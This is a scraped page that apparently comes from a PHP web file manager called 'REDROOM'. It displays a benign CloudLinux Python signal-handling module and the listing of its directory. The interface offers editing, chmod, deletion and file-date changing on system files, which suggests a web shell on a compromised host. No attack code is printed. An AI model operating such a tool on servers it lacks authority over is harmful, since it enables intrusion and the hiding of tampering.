REDROOM
PHP 8.2.30
Path:
Logout
Edit File
Size: 2.26 KB
Close
//opt/cloudlinux/venv/lib/python3.11/site-packages/ssa/internal/tools.py
Text
Base64
# -*- coding: utf-8 -*- # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import logging import signal import sys from typing import Union, Iterable, Callable from .utils import switch_schedstats, no_xray_active_tasks from ..modules.processor import RequestProcessor logger = logging.getLogger('tools') def log_on_receive(signum: int, frame) -> None: """ Signal handler to log received signal """ logger.info('Received sig: %i (%s)', signum, signum) def sigterm_received(signum: int, frame) -> None: """ Signal handler to dump collected statistics and switch off schedstats """ logger.info('Received sig: %i', signum) RequestProcessor().flush_buffer() logger.info('Dumped successfully after %i signal, exiting...', signum) # disable throttling detection kernel mechanism # if there is no X-Ray tracing tasks active if no_xray_active_tasks(): logger.info('No X-Ray tasks running, switching schedstats off') switch_schedstats(enabled=False) sys.exit(0) def register_a_signal(signum: int, sighandler: Callable) -> None: """ Register given sighandler for given signum """ try: signal.signal(signum, sighandler) logger.info('Registered %s', signum) except (OSError, ValueError) as e: logger.info('Skipped %s because of %s', signum, e) def register_sigterm(): """ Register a dump handler for SIGTERM signal """ register_a_signal(signal.SIGTERM, sigterm_received) def register_signals(signals: Union[int, Iterable] = None, handler: Callable = log_on_receive) -> None: """ Register given handler for given signal or range of signals If no signals given, add given handler for all available signals """ if signals is None: # register all available signals for sig in signal.Signals: register_a_signal(sig, handler) else: if isinstance(signals, int): # register single signal register_a_signal(signals, handler) else: # register range of signals for sig in signals: register_a_signal(sig, handler)
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 1 × Files: 6
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
__pycache__
DIR
-
drwxr-xr-x
2026-03-14 07:03:38
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
constants.py
915 B
lrw-r--r--
2026-02-10 14:39:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
exceptions.py
1.26 KB
lrw-r--r--
2026-02-10 14:39:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
mailer.py
5.39 KB
lrw-r--r--
2026-02-10 14:39:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
tools.py
2.26 KB
lrw-r--r--
2026-02-10 14:39:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
utils.py
15.66 KB
lrw-r--r--
2026-02-10 14:39:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
__init__.py
171 B
lrw-r--r--
2026-02-10 14:39:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).